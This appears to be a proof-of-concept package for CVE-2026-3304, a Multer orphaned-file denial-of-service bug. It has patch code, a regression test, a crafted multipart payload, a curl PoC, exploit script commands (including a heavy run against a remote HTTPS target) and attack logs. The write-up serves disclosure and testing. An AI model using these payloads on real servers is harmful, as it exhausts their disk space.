[تسلسل أحداث التحليل — الإصدار القابل للاستغلال]

1. استلام ترويسة الجزء 1
   → استدعاء fileFilter(req, file, cb)
   → setImmediate(cb) → تأجيل الاستدعاء إلى دورة الحدث التالية

2. استلام جسم الجزء 1
   → فتح /tmp/uploads/<uuid>، وبدء كتابة البيانات

3. استلام ترويسة الجزء 2 (سمة name مفقودة)
   → يكتشف Multer 'name missing'
   → errorOccured = true  ← تعيين علامة الخطأ
   → استدعاء abortWithCode('LIMIT_FIELD_KEY') → جدولة HTTP 500

4. تنفيذ استدعاء setImmediate (دورة الحدث التالية)
   → نتيجة fileFilter: includeFile = true (التدفق الطبيعي)
   → [خطأ] لا يتم فحص علامة errorOccured
   → استدعاء storage._handleFile() → الالتزام بالملف المؤقت على القرص

5. إرسال استجابة HTTP 500
   → يبقى الملف المؤقت على القرص (ملف يتيم)

// استدعاء إكمال fileFilter (مؤجل عبر setImmediate)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ لا يتم فحص errorOccured هنا أبدًا
  //    حتى لو تم تعيين خطأ أثناء تحليل الجزء 2، يستمر التنفيذ
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // يتم تسجيل الملف المؤقت في uploadedFiles ويُترك على القرص
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

// استدعاء إكمال fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [التصحيح] فحص errorOccured قبل المتابعة
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // تصريف التدفق — لا يتم كتابة ملف على القرص
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})

// app/server.js — يحاكي شرط تشغيل الثغرة من اختبار التصحيح
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← يؤجل الاستدعاء، مما يخلق حالة السباق
      cb(null, true)
    })
  }
})

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← الجزء 1: صالح، يتم إنشاء ملف مؤقت هنا
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← الجزء 2: name= مفقودة!
Content-Type: application/octet-stream

x
------Boundary--

1. وصول الجزء 1  →  يفتح Multer /tmp/uploads/<uuid> ويبدأ الكتابة
2. استدعاء fileFilter مع setImmediate  →  تأجيل الاستدعاء
3. وصول الجزء 2  →  يكتشف Multer اسمًا مفقودًا  →  errorOccured = true
4. تنفيذ setImmediate  →  يعمل استدعاء fileFilter
5. [خطأ] عدم فحص errorOccured  →  استدعاء storage._handleFile
6. كتابة الملف المؤقت على القرص
7. إرجاع HTTP 500
8. يبقى /tmp/uploads/<uuid> على القرص إلى الأبد  ← ملف يتيم

HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

curl http://localhost:3000/status

# تشغيل الخادم القابل للاستغلال (المنفذ 3000) + الخادم المُصحح (المنفذ 3001)
docker compose up -d --build

# التحقق من تشغيل كليهما
curl http://localhost:3000/status
curl http://localhost:3001/status

bash exploit/curl_poc.sh

# الافتراضي (50 طلبًا)
python3 exploit/exploit.py

# هجوم ثقيل (500 طلب، حمولة 5 كيلوبايت لكل منها)
python3 exploit/exploit.py --count 500 --size 5120

# ضد هدف HTTPS بشهادة موقعة ذاتيًا
python3 exploit/exploit.py --target https://target.example.com --no-verify

# المقارنة مع الإصدار المُصحح
python3 exploit/exploit.py --target http://localhost:3001 --count 50

bash exploit/monitor.sh

curl -X DELETE http://localhost:3000/reset

[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

$ docker exec cve-2026-3304-target df -h /tmp/uploads

Before attack:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

After 200 requests × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

Run 1:  orphaned files   0  ->  50   (100 KB)
Run 2:  orphaned files  50  -> 100   (200 KB)
        ↑ files from run 1 still present — never cleaned up

[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

docker compose down